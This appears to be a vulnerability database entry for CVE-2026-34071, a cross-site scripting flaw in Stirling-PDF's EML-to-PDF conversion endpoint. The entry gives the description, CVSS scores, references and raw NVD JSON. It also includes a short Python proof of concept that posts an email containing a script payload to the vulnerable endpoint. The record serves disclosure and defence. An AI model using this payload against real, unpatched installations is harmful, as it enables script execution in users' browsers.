CVE-2026-34071

Description

Stirling-PDF is a locally hosted web application that allows you to perform various operations on PDF files. In version 2.7.3, the /api/v1/convert/eml/pdf endpoint with parameter downloadHtml=true returns unsanitized HTML from the email body with Content-Type: text/html. An attacker who sends a malicious email to a Stirling-PDF user can achieve JavaScript execution when that user exports the email using the "Download HTML intermediate file" feature. Version 2.8.0 fixes the issue.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:stirling:stirling_pdf:2.7.3:*:*:*:*:*:*:* - VULNERABLE

Stirling-PDF < 2.8.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-34071 # Create a malicious.eml file with the following content: # From: [email protected] # To: [email protected] # Subject: XSS Test # Content-Type: text/html; charset="utf-8" # Content-Transfer-Encoding: 8bit # # <html><body><script>alert('XSS');</script></body></html> # Send this file to the target endpoint via Stirling-PDF interface import requests target = "http://localhost:8080/api/v1/convert/eml/pdf" files = {'fileInput': ('xss.eml', open('xss.eml', 'rb'), 'message/rfc822')} data = {'downloadHtml': 'true'} r = requests.post(target, files=files, data=data) print(r.status_code)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34071
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34071
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34071/
[4] VulDB https://vuldb.com/cve/CVE-2026-34071
[5] https://github.com/Stirling-Tools/Stirling-PDF/security/advisories/GHSA-xmhg-fv84-jgfc

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34071", "sourceIdentifier": "[email protected]", "published": "2026-03-26T17:16:41.647", "lastModified": "2026-05-14T20:04:44.610", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stirling-PDF is a locally hosted web application that allows you to perform various operations on PDF files. In version 2.7.3, the /api/v1/convert/eml/pdf endpoint with parameter downloadHtml=true returns unsanitized HTML from the email body with Content-Type: text/html. An attacker who sends a malicious email to a Stirling-PDF user can achieve JavaScript execution when that user exports the email using the \"Download HTML intermediate file\" feature. Version 2.8.0 fixes the issue."}, {"lang": "es", "value": "Stirling-PDF es una aplicación web alojada localmente que le permite realizar varias operaciones en archivos PDF. En la versión 2.7.3, el endpoint /API/v1/convert/eml/pdf con el parámetro downloadHtml=true devuelve HTML sin sanear del cuerpo del correo electrónico con Content-Type: text/html. Un atacante que envía un correo electrónico malicioso a un usuario de Stirling-PDF puede lograr la ejecución de JavaScript cuando ese usuario exporta el correo electrónico utilizando la función 'Descargar archivo HTML intermedio'. La versión 2.8.0 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:stirling:stirling_pdf:2.7.3:*:*:*:*:*:*:*", "matchCriteriaId": "05C89DFE-4268-4098-ADC1-9678605892D9"}]}]}], "references": [{"url": "https://github.com/Stirling-Tools/Stirling-PDF/security/advisories/GHSA-xmhg-fv84-jgfc", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}